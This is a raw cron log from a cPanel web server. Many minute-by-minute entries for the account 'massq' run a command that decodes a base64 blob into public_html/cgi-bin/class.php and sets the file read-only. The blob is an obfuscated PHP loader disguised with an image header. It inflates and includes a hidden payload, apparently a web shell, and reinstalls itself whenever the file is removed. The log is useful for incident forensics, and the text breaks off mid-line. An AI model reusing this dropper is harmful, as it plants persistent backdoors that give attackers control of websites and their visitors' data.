Apr  8 20:10:01 server CROND[1962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:10:01 server CROND[1963]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:11:01 server CROND[2169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:12:01 server CROND[2271]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 20:12:01 server CROND[2272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:13:01 server CROND[2323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:14:01 server CROND[2390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:15:01 server CROND[2447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:15:01 server CROND[2448]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 20:15:01 server CROND[2449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:15:01 server CROND[2453]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 20:16:01 server CROND[2657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:17:01 server CROND[2711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:18:01 server CROND[2781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:19:01 server CROND[2852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:20:01 server CROND[2917]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 20:20:01 server CROND[2918]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:20:01 server CROND[2920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:20:01 server CROND[2919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 20:20:01 server CROND[2922]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 20:21:01 server CROND[3121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:22:01 server CROND[3171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:23:01 server CROND[3222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQ